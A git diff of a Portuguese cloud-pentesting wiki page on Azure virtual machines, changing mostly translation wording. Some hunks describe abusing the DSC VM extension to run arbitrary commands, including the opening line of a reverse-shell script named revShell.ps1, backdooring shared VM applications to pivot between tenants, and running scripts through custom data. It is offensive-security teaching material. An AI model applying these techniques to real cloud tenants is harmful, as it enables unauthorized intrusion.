[https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview) +- [https://github.com/rootsecdev/Azure-Red-Team#runbook-automation](https://github.com/rootsecdev/Azure-Red-Team#runbook-automation) + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-services/vms/README.md b/src/pentesting-cloud/azure-security/az-services/vms/README.md index d791fb436..561dd3b92 100644 --- a/src/pentesting-cloud/azure-security/az-services/vms/README.md +++ b/src/pentesting-cloud/azure-security/az-services/vms/README.md @@ -2,9 +2,9 @@ {{#include ../../../../banners/hacktricks-training.md}} -## Informações Básicas sobre Redes do Azure +## Informações Básicas sobre Redes Azure -As redes do Azure contêm **diferentes entidades e maneiras de configurá-las.** Você pode encontrar uma breve **descrição,** **exemplos** e comandos de **enumeração** das diferentes entidades de rede do Azure em: +As redes Azure contêm **diferentes entidades e maneiras de configurá-las.** Você pode encontrar uma breve **descrição,** **exemplos** e comandos de **enumeração** das diferentes entidades de rede Azure em: {{#ref}} az-azure-network.md @@ -16,7 +16,7 @@ As Máquinas Virtuais (VMs) do Azure são servidores **baseados em nuvem flexív ### Configurações de Segurança -- **Zonas de Disponibilidade**: As zonas de disponibilidade são grupos distintos de datacenters dentro de uma região específica do Azure que são fisicamente separados para minimizar o risco de múltiplas zonas serem afetadas por interrupções locais ou desastres. +- **Zonas de Disponibilidade**: As zonas de disponibilidade são grupos distintos de datacenters dentro de uma região específica do Azure que são fisicamente separados para minimizar o risco de múltiplas zonas serem afetadas por interrupções ou desastres locais. - **Tipo de Segurança**: - **Segurança Padrão**: Este é o tipo de segurança padrão que não requer nenhuma configuração específica. - **Lançamento Confiável**: Este tipo de segurança melhora a proteção contra boot kits e malware em nível de kernel usando Secure Boot e Virtual Trusted Platform Module (vTPM). @@ -41,17 +41,17 @@ As Máquinas Virtuais (VMs) do Azure são servidores **baseados em nuvem flexív - **Monitor de Saúde**: Por padrão, verifica o protocolo HTTP na porta 80 - **Bloqueios**: Permite bloquear uma VM para que ela possa ser apenas lida (**Bloqueio Somente Leitura**) ou que possa ser lida e atualizada, mas não excluída (**Bloqueio Não Pode Excluir**). - A maioria dos recursos relacionados a VM **também suporta bloqueios** como discos, instantâneas... -- Bloqueios também podem ser aplicados em **níveis de grupo de recursos e assinatura** +- Os bloqueios também podem ser aplicados em **níveis de grupo de recursos e assinatura** ## Discos & instantâneas - É possível **habilitar a anexação de um disco a 2 ou mais VMs** - Por padrão, cada disco é **criptografado** com uma chave da plataforma. -- O mesmo se aplica a instantâneas +- O mesmo se aplica às instantâneas - Por padrão, é possível **compartilhar o disco de todas as redes**, mas também pode ser **restrito** a apenas certos **acessos privados** ou **desativar completamente** o acesso público e privado. -- O mesmo se aplica a instantâneas +- O mesmo se aplica às instantâneas - É possível **gerar um URI SAS** (de no máximo 60 dias) para **exportar o disco**, que pode ser configurado para exigir autenticação ou não -- O mesmo se aplica a instantâneas +- O mesmo se aplica às instantâneas {{#tabs}} {{#tab name="az cli"}} @@ -74,10 +74,10 @@ Get-AzDisk -Name -ResourceGroupName {{#endtab}} {{#endtabs}} -## Imagens, Imagens da Galeria e Pontos de Restauração +## Imagens, Imagens de Galeria e Pontos de Restauração Uma **imagem de VM** é um modelo que contém o sistema operacional, configurações de aplicativo e sistema de arquivos necessários para **criar uma nova máquina virtual (VM)**. A diferença entre uma imagem e um instantâneo de disco é que um instantâneo de disco é uma cópia somente leitura, em um ponto no tempo, de um único disco gerenciado, usado principalmente para backup ou solução de problemas, enquanto uma imagem pode conter **múltiplos discos e é projetada para servir como um modelo para criar novas VMs**.\ -As imagens podem ser gerenciadas na **seção de Imagens** do Azure ou dentro das **galerias de computação do Azure**, que permitem gerar **versões** e **compartilhar** a imagem entre locatários ou até torná-la pública. +As imagens podem ser gerenciadas na **seção de Imagens** do Azure ou dentro de **galerias de computação do Azure**, que permitem gerar **versões** e **compartilhar** a imagem entre locatários ou até torná-la pública. Um **ponto de restauração** armazena a configuração da VM e **instantâneas consistentes de aplicativo em um ponto no tempo** de todos os discos gerenciados anexados à VM. Está relacionado à VM e seu propósito é ser capaz de restaurar essa VM para como ela estava naquele ponto específico. @@ -144,11 +144,11 @@ Get-AzRestorePointCollection -Name -ResourceGroupName " -VMName "" -Na
-DesiredConfigurationState (DSC) +DesiredStateConfiguration (DSC) -Esta é uma **extensão de VM** que pertence à Microsoft e usa PowerShell DSC para gerenciar a configuração das VMs do Azure Windows. Portanto, pode ser usada para **executar comandos arbitrários** em VMs do Windows através desta extensão: +Esta é uma **extensão de VM** que pertence à Microsoft e utiliza PowerShell DSC para gerenciar a configuração de VMs Windows no Azure. Portanto, pode ser usada para **executar comandos arbitrários** em VMs Windows através desta extensão: ```powershell # Content of revShell.ps1 Configuration RevShellConfig { @@ -603,7 +603,7 @@ Set-AzVMDscExtension ` Hybrid Runbook Worker -Esta é uma extensão de VM que permite executar runbooks em VMs a partir de uma conta de automação. Para mais informações, consulte o [Automation Accounts service](../az-automation-account/). +Esta é uma extensão de VM que permite executar runbooks em VMs a partir de uma conta de automação. Para mais informações, consulte o [Automation Accounts service](../az-automation-account/index.html).
@@ -625,7 +625,7 @@ Estes são os caminhos onde os aplicativos são baixados dentro do sistema de ar Verifique como instalar novos aplicativos em [https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli](https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli) > [!CAUTION] -> É possível **compartilhar aplicativos individuais e galerias com outras assinaturas ou locatários**. O que é muito interessante porque pode permitir que um atacante insira um backdoor em um aplicativo e faça pivot para outras assinaturas e locatários. +> É possível **compartilhar aplicativos individuais e galerias com outras assinaturas ou locatários**. O que é muito interessante porque poderia permitir que um atacante inserisse um backdoor em um aplicativo e fizesse pivot para outras assinaturas e locatários. Mas **não há um "marketplace" para aplicativos de vm** como há para extensões. @@ -727,8 +727,8 @@ Estes são **dados persistentes** que podem ser recuperados do endpoint de metad É possível passar alguns dados para a VM que serão armazenados em caminhos esperados: -- Em **Windows**, os dados personalizados são colocados em `%SYSTEMDRIVE%\AzureData\CustomData.bin` como um arquivo binário e não são processados. -- Em **Linux**, eram armazenados em `/var/lib/waagent/ovf-env.xml` e agora estão armazenados em `/var/lib/waagent/CustomData/ovf-env.xml` +- No **Windows**, os dados personalizados são colocados em `%SYSTEMDRIVE%\AzureData\CustomData.bin` como um arquivo binário e não são processados. +- No **Linux**, eram armazenados em `/var/lib/waagent/ovf-env.xml` e agora estão armazenados em `/var/lib/waagent/CustomData/ovf-env.xml` - **Agente Linux**: Ele não processa dados personalizados por padrão, é necessária uma imagem personalizada com os dados habilitados. - **cloud-init:** Por padrão, ele processa dados personalizados e esses dados podem estar em [**vários formatos**](https://cloudinit.readthedocs.io/en/latest/explanation/format.html). Ele poderia executar um script facilmente enviando apenas o script nos dados personalizados. - Eu tentei que tanto o Ubuntu quanto o Debian executassem o script que você colocou aqui.